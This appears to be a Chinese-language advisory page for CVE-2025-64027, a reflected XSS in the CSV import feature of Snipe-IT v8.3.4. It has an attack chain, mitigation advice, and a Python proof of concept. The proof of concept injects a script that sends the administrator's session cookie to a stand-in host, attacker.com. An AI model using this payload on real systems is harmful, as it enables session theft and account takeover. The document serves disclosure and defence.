IPBUF安全漏洞报告
English
CVE-2025-64027 CVSS 6.1 中危

CVE-2025-64027 Snipe-IT v8.3.4 CSV导入反射型XSS漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-64027
漏洞类型
反射型XSS (Cross-Site Scripting)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Snipe-IT v8.3.4 (build 20218)

相关标签

反射型XSSSnipe-ITCSV导入Livewire中间人攻击Web安全CVE-2025-64027资产管理软件

漏洞概述

Snipe-IT v8.3.4(build 20218)在CSV导入工作流中存在反射型跨站脚本(XSS)漏洞。该漏洞源于CSV导入功能在处理无效CSV文件时,系统返回的progress_message参数未经过滤直接作为原始HTML渲染在管理界面中。攻击者可以通过中间人攻击拦截并修改POST /livewire/update请求,向progress_message参数注入任意HTML或JavaScript代码。由于服务器接受修改后的输入且未进行任何消毒处理,直接将用户可控的内容反射回浏览器,导致任意JavaScript代码在查看导入页面的认证管理员浏览器中执行。此漏洞可被用于窃取管理员会话Cookie、劫持管理员账户或执行其他恶意操作。供应商对此漏洞报告提出异议,认为这仅证明了认证用户可以对自己进行中间人攻击。

技术细节

漏洞根源在于Snipe-IT的Livewire组件在处理CSV导入请求时,对progress_message字段缺乏输入验证和输出编码。当用户上传无效CSV文件触发导入错误时,系统通过Livewire的更新机制将progress_message内容直接返回给客户端。由于该字段内容被直接插入到HTML响应中而未进行HTML实体编码,攻击者可以在拦截请求后将恶意JavaScript代码注入到progress_message参数中。例如,攻击者可以将progress_message的值修改为<script>alert(document.cookie)</script>,当管理员查看导入结果页面时,该脚本会在其浏览器上下文中执行。攻击成功的前提是攻击者能够拦截并修改认证用户的HTTP请求,这通常需要处于同一网络环境或通过其他方式实施中间人攻击。漏洞影响CSV导入功能的所有用户,特别是具有管理权限的用户面临更大风险。

攻击链分析

STEP 1
步骤1
攻击者获取Snipe-IT系统的认证访问权限,可以使用自己的账户或通过其他方式获取有效凭证
STEP 2
步骤2
攻击者上传一个无效的CSV文件触发导入流程,捕获系统返回的POST /livewire/update请求
STEP 3
步骤3
攻击者通过中间人攻击拦截请求,将progress_message参数修改为恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
服务器接收修改后的请求,由于缺乏输入验证直接将progress_message内容反射回响应中
STEP 5
步骤5
当管理员访问导入页面查看结果时,恶意JavaScript代码在其浏览器上下文中执行,可窃取会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64027 PoC - Snipe-IT CSV Import Reflected XSS # Attack Scenario: MITM proxy modification of Livewire request import requests import json target_url = "http://target-server/snipe-it" login_url = f"{target_url}/login" import_url = f"{target_url}/api/v1/imports" livewire_update_url = f"{target_url}/livewire/update" # Step 1: Authenticate as admin user session = requests.Session() login_data = { 'email': '[email protected]', 'password': 'admin_password' } session.post(login_url, data=login_data) # Step 2: Upload invalid CSV file to trigger import workflow csv_content = "asset_tag,serial\nTEST001,INVALID" upload_files = {'file': ('test.csv', csv_content, 'text/csv')} response = session.post(import_url, files=upload_files) # Step 3: Intercept and modify the Livewire update request # In real attack, use Burp Suite or MITM proxy to intercept # Modify the progress_message parameter in POST /livewire/update # Original request body structure: livewire_request = { 'component': 'ImportSoftware', # or relevant import component 'progress_message': '<script>alert(document.cookie)</script>', 'fingerprint': { 'id': 'some-component-id', 'name': 'import-component', 'path': 'admin/import', 'method': 'POST' }, 'serverMemo': { 'id': 'server-memo-id', 'data': {}, 'checksum': 'some-checksum' }, 'updates': [ { 'type': 'syncInput', 'payload': { 'name': 'progress_message', 'value': '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' } } ] } # Step 4: Send modified request modified_response = session.post( livewire_update_url, json=livewire_request, headers={'Content-Type': 'application/json'} ) print("XSS payload sent. Check if cookie stealing script executes in admin browser.")

影响范围

Snipe-IT v8.3.4 (build 20218)

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中配置规则,检测并拦截包含<script>标签或JavaScript事件处理器的progress_message参数;限制CSV导入功能的访问权限,仅允许受信任的管理员使用;监控和记录所有CSV导入请求日志,及时发现异常行为;考虑临时禁用CSV导入功能,等待官方发布修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表